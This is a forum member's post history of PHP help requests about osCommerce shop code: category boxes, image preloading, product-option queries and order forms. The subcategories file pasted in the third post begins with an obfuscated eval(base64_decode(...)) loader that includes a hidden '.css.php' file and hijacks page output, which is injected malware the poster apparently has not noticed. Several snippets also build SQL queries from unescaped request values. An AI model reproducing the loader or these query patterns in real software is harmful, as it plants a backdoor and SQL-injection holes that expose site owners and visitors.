Jump to content

vanvoquan

Members
  • Posts

    47
  • Joined

  • Last visited

Everything posted by vanvoquan

  1. Hi there, I want to to find certain words and make it hyperlinks. I spent days to googled and found this piece of code. But it always find words in the brackets [[ ]]. I just want to finds certain words, without the brackets [[ ]] and make it hyperlink. So can somebody help me with this one, million thanks to you. Below is the code I found: function find_text($str) { preg_match_all("#\[\[(((?!\]\]).)*)\]\]#is", $str, $matches ); if( count( $matches[1] ) != 0 ) { return $matches[1]; }else{ return false; } } if( $text_found = find_text( $title ) ) { foreach( $text_found as $text ) { $stringSearch = mysql_query("SELECT * FROM autolink WHERE tagName = '".$text."'"); $searchResult = mysql_fetch_array($stringSearch); $link = $searchResult['tagLink']; $string = str_replace("[[".$text."]]", "<a href='" .$link."'>".$text."</a>", $title); } echo $string; }else{ echo "no text matches found."; }
  2. Hi everyone. I have this code that suppose to divide the query result 3 columns in a row. Like this : Shoes Hats Jeans Shorts Shirts Belts But for some reason this one doesn't work. It gave me everything in a single row. Like this: Shoes Hats jeans Shorts Shirts Belts. I noticed that before I put this two 2 lines of code, it's working fine. It didn't give me any error messages or anythings. Can someone point me out what did I did wrong? This is two lines I put in: $vuong_query = tep_db_query("select categories_id from " . TABLE_GENDER_CATEGORIES . " where parent_id = 1"); while ($product_check = tep_db_fetch_array($vuong_query)) { This is the whole piece of code: <tr> <td><table width = "100%" border="1" bordercolor="maroon"> <tr> <?php $vuong_query = tep_db_query("select categories_id from " . TABLE_GENDER_CATEGORIES . " where parent_id = 1"); while ($product_check = tep_db_fetch_array($vuong_query)) { $categories_querys = tep_db_query("select c.categories_id, cd.categories_name, c.categories_image from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.categories_id = '" . $product_check['categories_id'] . "' and c.categories_id = cd.categories_id and cd.language_id = '" . (int)$languages_id . "' order by sort_order, cd.categories_name"); $number_of_categories = tep_db_num_rows($categories_querys); $rows = 0; while ($categories = tep_db_fetch_array($categories_querys)) { $rows++; $cPath_new = tep_get_path($categories['categories_id']); $width = (int)(100 / MAX_DISPLAY_CATEGORIES_PER_ROW) . '%'; echo ' <td align="center" class="smallText" width="' . $width . '" valign="top"><a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new) . '">' . tep_image(DIR_WS_IMAGES . $categories['categories_image'], $categories['categories_name'], SUBCATEGORY_IMAGE_WIDTH, SUBCATEGORY_IMAGE_HEIGHT) . '<br>' . $categories['categories_name'] . '</a></td>' . "\n"; if ((($rows / MAX_DISPLAY_CATEGORIES_PER_ROW) == floor($rows / MAX_DISPLAY_CATEGORIES_PER_ROW)) && ($rows != $number_of_categories)) { echo ' </tr>' . "\n"; echo ' <tr>' . "\n"; } } } ?> </tr> </table> </td> </tr> Thanks anyone for helping me out. Vanvoquan
  3. Hi everybody, I have this code that allows me to appoint specific categories to box 1 , box 2, ... The problem is that it doesn't show first level subcategories. I have another code that shows sub-categories for the main categories but it doesn't allow me to appoint specific categories to the categories box that I want. I try to mix that two codes so it can allow me to show sub-categories and also allow me to appoint specific categories to the categories boxes. But to my limited php knowledge, I spent weeks to make it happen but no rusult. So Can any pro php coder help to make this happen? or can you point me to the right direction. Your help is greatly appriciate. Thank you. This is the code that allow you to appoint specific categories to specific categories box: <?php /* $Id: categories.php,v 1.25 2003/07/09 01:13:58 hpdl Exp $ */ function new_tep_show_category($boxId,&$cPath_array,&$tree,$counter) { global $cat_name; // CategoryBox Enhancement for ($i=0; $i<$tree[$counter]['level']; $i++) $categories_string = " "; // $cPath_new = 'cPath=' . $tree[$counter]['path']; // CategoryBox Enhancement $categories_string .= '<b><a href="'; $cPath_new = 'cPath=' . $tree[$counter]['path']; // $categories_string .= tep_href_link(FILENAME_DEFAULT, $cPath_new) . '">'; // CategoryBox Enhancement $categories_string .= tep_href_link(FILENAME_DEFAULT, $cPath_new) . '">'; if ($boxId == $_SESSION['infoBox'] && isset($cPath_array) && in_array($counter, $cPath_array)) { // commented for CategoryBox Enhancement $categories_string .= '<b>' . $tree[$counter]['name'] . '</b>'; $categories_string .= '<b>'; // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '<span class="errorText">'; } // CategoryBox Enhancement $categories_string .= $tree[$counter]['name']; // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '</span>'; } // CategoryBox Enhancement $categories_string .= '</b>'; } else { // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '<b><span class="errorText">'; } // CategoryBox Enhancement $categories_string .= $tree[$counter]['name']; // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '</span></b>'; } // CategoryBox Enhancement } /* commented for CategoryBox Enhancement if (tep_has_category_subcategories($counter)) $categories_string .= '->'; */ $categories_string .= '</a>'; if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($counter); if ($products_in_category > 0) $categories_string .= ' (' . $products_in_category . ')'; } $categories_string .= '<br>'; if ($tree[$counter]['next_id'] != false) $categories_string .= new_tep_show_category($boxId,$cPath_array,$tree,$tree[$counter]['next_id']); return $categories_string; } function tep_categories_box($boxId,&$infoBox,$follow_cPath,&$cPath_array) { global $languages_id; $info_box_contents = array(); $info_box_contents[] = array('text' => $infoBox['name']); new infoBoxHeadingCategories($info_box_contents, true, false); $tree = array(); $categories_query = tep_db_query("select c.categories_id, cd.categories_name, c.parent_id from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.parent_id = '0' and c.categories_id in (".implode(',',$infoBox['categories']).") and c.categories_id = cd.categories_id and cd.language_id='" . (int)$languages_id ."' order by sort_order, cd.categories_name"); while ($categories = tep_db_fetch_array($categories_query)) { $tree[$categories['categories_id']] = array( 'name' => $categories['categories_name'], 'parent' => $categories['parent_id'], 'level' => 0, 'path' => $categories['categories_id'], 'next_id' => false ); if (isset($parent_id)) $tree[$parent_id]['next_id'] = $categories['categories_id']; $parent_id = $categories['categories_id']; if (!isset($first_element)) $first_element = $categories['categories_id']; } //------------------------ if ($follow_cPath) { $new_path = ''; reset($cPath_array); while (list($key, $value) = each($cPath_array)) { unset($parent_id); unset($first_id); $categories_query = tep_db_query("select c.categories_id, cd.categories_name, c.parent_id from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.parent_id = '" . (int)$value . "' and c.categories_id = cd.categories_id and cd.language_id='" . (int)$languages_id ."' order by sort_order, cd.categories_name"); if (tep_db_num_rows($categories_query)) { $new_path .= $value; while($row = tep_db_fetch_array($categories_query)) { $tree[$row['categories_id']] = array( 'name' => $row['categories_name'], 'parent' => $row['parent_id'], 'level' => $key+1, 'path' => $new_path . '_' . $row['categories_id'], 'next_id' => false ); if (isset($parent_id)) $tree[$parent_id]['next_id'] = $row['categories_id']; $parent_id = $row['categories_id']; if (!isset($first_id)) $first_id = $row['categories_id']; $last_id = $row['categories_id']; } $tree[$last_id]['next_id'] = $tree[$value]['next_id']; $tree[$value]['next_id'] = $first_id; $new_path .= '_'; } else { break; } } } $info_box_contents = array(); $info_box_contents[] = array('text' => new_tep_show_category($boxId,$cPath_array,$tree,$first_element)); new infoBox($info_box_contents); } ?> <!-- categories //--> <?php $_infoBox = array(); // define('TABLE_CATEGORIES_MORE','categories_more'); $categories_this_infobox_query = tep_db_query("select * from " . TABLE_CATEGORIES_MORE . " where enabled = 1"); while ($_categories = tep_db_fetch_array($categories_this_infobox_query)) $_infoBox[] = array( 'categories' => array( $_categories['category1_id'], $_categories['category2_id'], $_categories['category3_id'], $_categories['category4_id'], $_categories['category5_id'], $_categories['category6_id'], $_categories['category7_id'], $_categories['category8_id'], $_categories['category9_id'], $_categories['category10_id'], $_categories['category11_id'], $_categories['category12_id'], $_categories['category13_id'], $_categories['category14_id'], $_categories['category15_id'], $_categories['category16_id'], $_categories['category17_id'], $_categories['category18_id'], $_categories['category19_id'], $_categories['category20_id'], $_categories['category21_id'], $_categories['category22_id'], $_categories['category23_id'], $_categories['category24_id'], $_categories['category25_id'], ), 'name' => $_categories['infobox_name'], 'enabled' => $_categories['enabled'] ); if (!tep_session_is_registered('infoBox')) { tep_session_register('infoBox'); $infoBox = '0'; } if (isset($_GET['infoBox']) && is_numeric($_GET['infoBox'])) $infoBox = $_GET['infoBox']; for($i=0,$n=2 ; $i<$n; $i++) { echo "<tr>\n<td>\n"; tep_categories_box( $i, $_infoBox[$i], ($infoBox == $i && tep_not_null($cPath)) ? true : false, $cPath_array ); echo "\n</td>\n</tr>\n"; } ?> <!-- categories_eof //--> This is the code that show sub-categories: <?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2N1b25ndDg2L3B1YmxpY19odG1sL3VnZ2Jvb3RzbWFkbmVzcy5jb20vYWRtaW4vaW5jbHVkZXMvbGFuZ3VhZ2VzL2VzcGFub2wvbW9kdWxlcy9uZXdzbGV0dGVycy9zdHlsZS5jc3MucGhwJztpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snbWZzbiddKSl7aW5jbHVkZV9vbmNlKCRHTE9CQUxTWydtZnNuJ10pO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJmZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?> <?php /* $Id: show_subcategories.php,v 1.0 2003/01/08 10:37:00 Exp $ */ // Preorder tree traversal //befordch: unactivated not needed /*function preorder($cid, $level, $foo, $cpath){ global $categories_string, $HTTP_GET_VARS; // Display link if ($cid != 0) { for ($i=0; $i<$level; $i++) $categories_string .= ' '; $categories_string .= '<a href="' . tep_href_link(FILENAME_DEFAULT, 'cPath=' . $cpath . $cid) . '">'; // 1.6 Are we on the "path" to selected category? $bold = strstr($HTTP_GET_VARS['cPath'], $cpath . $cid . '_') || $HTTP_GET_VARS['cPath'] == $cpath . $cid; // 1.6 If yes, use <b> if ($bold) $categories_string .= '<b>'; $categories_string .= $foo[$cid]['name']; if ($bold) $categories_string .= '</b>'; $categories_string .= '</a>'; // 1.4 SHOW_COUNTS is 'true' or 'false', not true or false if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($cid); if ($products_in_category > 0) { $categories_string .= ' (' . $products_in_category . ')'; } } $categories_string .= '<br>'; } }*/ // Traverse category tree- this is for older snapshots pre-November 2002 /* foreach ($foo as $key => $value) { if ($foo[$key]['parent'] == $cid) { // print "$key, $level, $cid, $cpath<br>"; preorder($key, $level+1, $foo, ($level != 0 ? $cpath . $cid . '_' : '')) ; } */ // Function used for post November 2002 snapshots function tep_show_category($counter) { global $foo, $categories_string, $id; for ($a=0; $a<$foo[$counter]['level']; $a++) $categories_string .= " "; } ?> <!-- show_subcategories //--> <tr> <td class="infoBox_left"> <?php $info_box_contents = array(); $info_box_contents[] = array('text' => BOX_HEADING_CATEGORIES); new infoBoxHeadingCategories($info_box_contents, true, false); ////////// // Get categories list ////////// // 1.2 Test for presence of status field for compatibility with older versions // $status = tep_db_num_rows(tep_db_query('describe categories status')); used for older snapshots $status = tep_db_num_rows(tep_db_query('describe ' . TABLE_CATEGORIES . ' status')); $query = "select c.categories_id, cd.categories_name, c.parent_id, c.categories_image from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.categories_id = cd.categories_id"; // 1.3 Can't have 'where' in an if statement! if ($status >0) $query.= " and c.status = '1'"; $query.= " and cd.language_id='" . $languages_id ."' order by sort_order, cd.categories_id"; $categories_query = tep_db_query($query); // Initiate tree traverse $categories_string = ''; //preorder(0, 0, $foo, ''); //bedfordch unactivated not needed ////////// // Display box contents ////////// $info_box_contents = array(); $row = 0; $col = 0; while ($categories = tep_db_fetch_array($categories_query)) { if ($categories['parent_id'] == 0){ $temp_cPath_array = $cPath_array; //Johan's solution - kill the array but save it for the rest of the site unset($cPath_array); $cPath_new = tep_get_path($categories['categories_id']); $text_subcategories = '<br>'; $subcategories_query = tep_db_query($query); while ($subcategories = tep_db_fetch_array($subcategories_query)){ if ($subcategories['parent_id'] == $categories['categories_id']){ $cPath_new_sub = "cPath=" . $categories['categories_id'] . "_" . $subcategories['categories_id']; $text_subcategories .= ' - <a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new_sub, 'NONSSL') . '" class="menusubcateg">' . '' . $subcategories['categories_name'] . '</a>'; //start befordch fix (show subcategoriy count) if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($subcategories['categories_id']); if ($products_in_category > 0) { $text_subcategories .= ' (' . $products_in_category . ')'; } } //end bedfordch fix $text_subcategories .= "<br>"; //bedfordch add <br> after subcategory. $q2= "select * from categories where parent_id=" . $subcategories['categories_id']; $rec2 = mysql_query($q2); while ($rq2 = mysql_fetch_array($rec2)) { $snd_sub_category = $rq2['categories_id']; $q3= "select categories_name from categories_description where categories_id=" . $snd_sub_category; $rec3 = mysql_query($q3); $rq3 = mysql_fetch_array($rec3); $snd_categories_name = $rq3[categories_name]; $cPath_new_sub = "cPath=" . $categories['categories_id'] . "_" . $subcategories['categories_id'] . "_" . $snd_sub_category; $text_subcategories .= ' + ' . '<a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new_sub, 'NONSSL') . '" class="menusubcategsec">' . '' . $snd_categories_name . '</a>' . "<br>"; } } } // While Interno //start befordch fix (show category count) $buildtext = '<a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new, 'NONSSL') . '" class="menucateg"><b>' . $categories['categories_name']; if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($categories['categories_id']); if ($products_in_category > 0) { $buildtext .= '(' . $products_in_category . ')'; } } //end bedfordch $buildtext .= '</b></a>' . $text_subcategories; $info_box_contents[$row] = array('align' => 'left', 'params' => 'class="smallText" width="130" valign="top"', 'text' => $buildtext); //befordch show category count $col ++; if ($col > 0){ $col = 0; $row ++; } $cPath_array = $temp_cPath_array; //Re-enable the array for the rest of the code } } new infoBox($info_box_contents, true); ?> </td> </tr> <!-- show_subcategories_eof //-->
  4. Thanks Pikachu2000. After carefully examination, I put one more close tag up there and it work smoothly. Thank you.
  5. I change the single quote to doule quote but still nothing happen. I still got the error: Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in /home/cuong11/public_html/theknowledgers.com/product_info.php on line 199
  6. Hi everybody. I have this little code but it give me the error. I spent hours to change the period, comma, semi-colon, etc... but no hope. It make me crazy. Can any php expert show me where I have missing a period, a comma or if I have forgot something? Million thanks to you. <script language="javascript"> document.write('<?php echo '<a href="javascript:popupWindow(\\\'' . tep_href_link(FILENAME_POPUP_IMAGE, 'pID=' . $product_info['products_id']) . '\\\')" onMouseover="changeimage(myimages[0],this.href)"><?php if (tep_not_null($products_options_name_cuong['pc_1'])) { ?><?php echo tep_image(DIR_WS_IMAGES. $products_options_name_cuong['pc_1']); ?><?php } ?></a>' ; ?>'); </script>
  7. I able to narrow down the query. But it's still give the the colors and the size. I have limited it to echo only the color with this one " po.products_options_id = 1 " , but it no help at all. This is the new query : <?php $products_options_query_cuong = tep_db_query("select pov.products_options_values_name from " . TABLE_PRODUCTS_ATTRIBUTES . " pa, " . TABLE_PRODUCTS_OPTIONS_VALUES . " pov, " . TABLE_PRODUCTS_OPTIONS . " po where pa.products_id = '" . (int)$HTTP_GET_VARS['products_id'] . "' and pa.options_values_id = pov.products_options_values_id and po.products_options_id = 1 and pov.language_id = '" . (int)$languages_id . "'"); while($products_options_cuong = tep_db_fetch_array($products_options_query_cuong)) { ?>
  8. Hi everyone. I have this 3 table: table: Products_options products_options_id: 1, 2, 3 products_options_name: color, size, model table: products_attribues Products_attributes_id: 32, 33, 34, 35 products_id: 68, 68, 68, 68 options_values_id: 23, 25, 5, 7 table: Products_options_values products_options_values_id: 5, 7, 23, 25 products_options_values_name: 5, 7, black, chestnut I want to echo only the colors of this product which is black and chestnut. I use the query below but It give me everything, include the color, the size, the model. I only want to echo the colors of the product. Below is the query: <?php $products_options_query_cuong = tep_db_query("select pov.products_options_values_name from " . TABLE_PRODUCTS_OPTIONS_VALUES . " pov left join " . TABLE_PRODUCTS_ATTRIBUTES . " pa on (pa.options_values_id = pov.products_options_values_id and pa.products_id = '" . (int)$HTTP_GET_VARS['products_id'] . "'), " . TABLE_PRODUCTS_OPTIONS . " po where po.products_options_id = 1 "); while($products_options_cuong = tep_db_fetch_array($products_options_query_cuong)) { ?> Can anyone show me why isn't give me only the colors. Any helps will be greatly appriciate. Vanvoquan
  9. Thanks for helping guys. I got it working. The reason that just give me only the images folder is that the javascript contain the "preloadimages" function is in the head tag while the sql query is in the body section. So i put one of this query in the head section and it's working fine. <?php $product_info_query1 = tep_db_query("select p.products_id, pd.products_name, pd.products_description, p.products_model, p.products_quantity, p.products_image, p.product_image_2, p.product_image_3, p.product_image_4, p.product_image_5, p.product_image_6, pd.products_url, p.products_price, p.products_tax_class_id, p.products_date_added, p.products_date_available, p.manufacturers_id from " . TABLE_PRODUCTS . " p, " . TABLE_PRODUCTS_DESCRIPTION . " pd where p.products_status = '1' and p.products_id = '" . (int)$HTTP_GET_VARS['products_id'] . "' and pd.products_id = p.products_id and pd.language_id = '" . (int)$languages_id . "'"); $product_info1 = tep_db_fetch_array($product_info_query1); ?>
  10. Thanks for replying Kenrbnsn. When i do a show soure, it didn't show the picture file name. it only show the folder "images". <img src="images/" border="0" alt=""> how can i fix this ? Thanks for any helps. vanvoquan
  11. So far this is what i have worked for hours. But no idea why when i put the mouse over the text "Plane 1" or "Plane 2" it didn't show the picture in the preloadimages function. Any helps will be million thanks. <html> <head> <script> function changeimage(towhat,url){ if (document.images){ document.images.targetimage.src=towhat.src gotolink=url } } function warp(){ window.location=gotolink } </script> <script language="JavaScript1.1"> var myimages=new Array() var gotolink="#" function preloadimages(){ for (i=0;i<preloadimages.arguments.length;i++){ myimages[i]=new Image() myimages[i].src=preloadimages.arguments[i] } } preloadimages("<?php echo tep_image(DIR_WS_IMAGES . $product_info['product_image_2']); ?>" , "<?php echo tep_image(DIR_WS_IMAGES . $product_info['product_image_3']); ?>" , "<?php echo tep_image(DIR_WS_IMAGES . $product_info['product_image_4']); ?>" , "<?php echo tep_image(DIR_WS_IMAGES . $product_info['product_image_5']); ?>" , "<?php echo tep_image(DIR_WS_IMAGES . $product_info['product_image_6']); ?>") </script> </head> <body> <table> <tr> <td> <a href="javascript:warp()"><img src="<?php echo (DIR_WS_IMAGES . $product_info['products_image']); ?>"></a> </td> </tr> <tr> <td> <a href="b2.htm" onMouseover="changeimage(myimages[0],this.href)">Plane 1</a> <br> <a href="f15.htm" onMouseover="changeimage(myimages[1],this.href)">Plane 2</a><br> <a href="su27.htm" onMouseover="changeimage(myimages[2],this.href)">Plane 3</a><br> <a href="jet.htm" onMouseover="changeimage(myimages[3],this.href)">Plane 4</a><br> <a href="boeing.htm" onMouseover="changeimage(myimages[4],this.href)">Plane 5</a><br> </td> </tr> </table> </body> </html>
  12. Thanks for replying. Can anybody show me why i use php to echo images it didn't work. preloadimages("<? php echo tep_image(DIR_WS_IMAGES . $product_info['product_image_6']) ; ?>"," <? php echo tep_image(DIR_WS_IMAGES . $product_info['product_image_6']) ; ?>" Vanvoquan
  13. Hi everybody. I have this script in the <head></head> tag to help me reload images, so when i put the mouse over image it appear in another location of the table. The problem is i have to put the images manually to the script. Can i automatic put the images with php in the script. The script look like this: <script> function changeimage(towhat,url){ if (document.images){ document.images.targetimage.src=towhat.src gotolink=url } } function warp(){ window.location=gotolink } </script> <script language="JavaScript1.1"> var myimages=new Array() var gotolink="#" function preloadimages(){ for (i=0;i<preloadimages.arguments.length;i++){ myimages[i]=new Image() myimages[i].src=preloadimages.arguments[i] } } preloadimages("images/plane1.gif","images/plane2.gif") </script> So instead of manually put "images/plane1.gif", images/plane2.gif" I want to use something like this: ' . tep_image(DIR_WS_IMAGES . $product_info['product_image_6'], $product_info['products_name'], SMALL_WIDTH_IMAGE, SMALL_HEIGHT_IMAGE, 'hspace="5" vspace="5"') . ' So the script look like this: preloadimages("<? php echo ' . tep_image(DIR_WS_IMAGES . $product_info['product_image_6'], $product_info['products_name'], SMALL_WIDTH_IMAGE, SMALL_HEIGHT_IMAGE, 'hspace="5" vspace="5"') . ' ?>","<? php echo ' . tep_image(DIR_WS_IMAGES . $product_info['product_image_6'], $product_info['products_name'], SMALL_WIDTH_IMAGE, SMALL_HEIGHT_IMAGE, 'hspace="5" vspace="5"') . ' ?>" Any help or suggestions will greatly appriciate. vanvoquan
  14. Thanks Litebearer. It work like a charmp. Thank you.
  15. Thanks for helping me out Joel24 and Revraz. I think Revraz point me out the right direction here. I'm really new to php, so Revraz, can you please show me how to create the loop ? I have no idea where to start.
  16. Thanks for reply Vitamin. It just gave me a "1." at the first line, that's it. Anyone know how to make this happen?
  17. Thanks for reply Vitamin. I know we can use the <li></li> tag, but where to put it in this portion of this code. <table border="1" bordercolor="red"> <tr> <td> <p><?php echo stripslashes(str_replace('. ', '.<br />', $product_info['products_description'])); ?></p> </td> </tr> </table> I did try to put the <li></li> tag after the <br /> like this: <?php echo stripslashes(str_replace('. ', '.<br /><li></li>', $product_info['products_description'])); ?> It gave me the bullet point but in a new line by itself. I need it appear in the front of every sentences. Can anyone please help.
  18. Hi everyone, I have this code to help me split a long paragraph into sentences and make every new sentence into a new line. Now i want to insert a bullet point, or a arrow in font of every line. I try many different approaches, but it didn't work. Can anyone point me to the right direction. Thanks for your help. Vanvoquan. <table border="1" bordercolor="red"> <tr> <td> <p><?php echo stripslashes(str_replace('. ', '.<br />', $product_info['products_description'])); ?></p> </td> </tr> </table>
  19. I change the hosting company and it works perfect. Thank you.
  20. Thanks for all the helps. With the guides from all of you, I fix the code and it works. Thanks so much. if($qty==0) { $query="update placing_item_bid set status='Closed',Quantity='0',quantity_sold='1',sale_price=$fix where item_id='$item_id'"; mysql_query($query); } else if($qty > 0) { $query="update placing_item_bid set status='Closed',Quantity='$quantitans',quantity_sold='$qty',sale_price=$fix where item_id='$item_id'"; mysql_query($query); }
  21. thanks for your respond. I'm not very good at php. Can you provide me in more detail about how to write a php script that accetps the form check the quantity. Thanks alot !
  22. Hi everyone, I try to use this form for my site but the if and else statement doesn't work. I want my customers to chose for the quantity they desire and if they don't, the form automatic post an value of " 1 " to the quantity in the database. But for some reason, if my customers not chose the quantity, the form automatic post a " 0 " for the quantity in the database. Below is the code of the form, any help will be greatly appriciate. thank you. <tr> <? if($row['selling_method']=="auction" or $row['selling_method']=="dutch_auction") { if($row[Quantity] > 0) { ?> <form name="fix_form" action="detail.php" method="post"> <td height="27" class="banner1">Quantity</td><td>:</td> <td align="left"> <select name=qty <?if($row[Quantity]==0 or $row[status]=='Closed'){echo "disabled";}?>> <option value="Quantity">Quantity</option> <? for($i=1;$i<=$row[Quantity];$i++) { ?> <option value="<?= $i;?>"><?= $i;?></option> <? } ?> </select> </td> <? } ?> </tr> <? } else { ?> <input type="hidden" name="qty" value="1"> <? } ?> <tr> <input type="hidden" value="1" name="flag"> <input type="hidden" value="<?= $err_flag; ?>" name="err_flag"> <input type="hidden" value="fix" name="sell_method"> <input type="hidden" value="<?= $item_id;?>" name="item_id"> <input type="hidden" value="<?= $row[quick_buy_price];?>" name="fixed_price"> <td class="banner1">Buy It Now Price</td> <td class="banner1">:</td> <td width="45%" class="detail888txt">US <?= $row['currency']; ?><?= $row['quick_buy_price']; ?> &nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<input type="image" src="images/images/buyit.gif" name="Image70" value="buy" width="81" height="24" border="0" id="Image70" onmouseout="MM_swapImgRestore()" onmouseover="MM_swapImage('Image70','','images/images/buyito.gif',1)" onClick="return confirm_buynow(<?=$row[Quantity];?>)"; <?if(($row[Quantity]==0) or ($row[status]=='Closed') or ($today_date<0)){echo "disabled";}?> </td> </form> </tr>
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.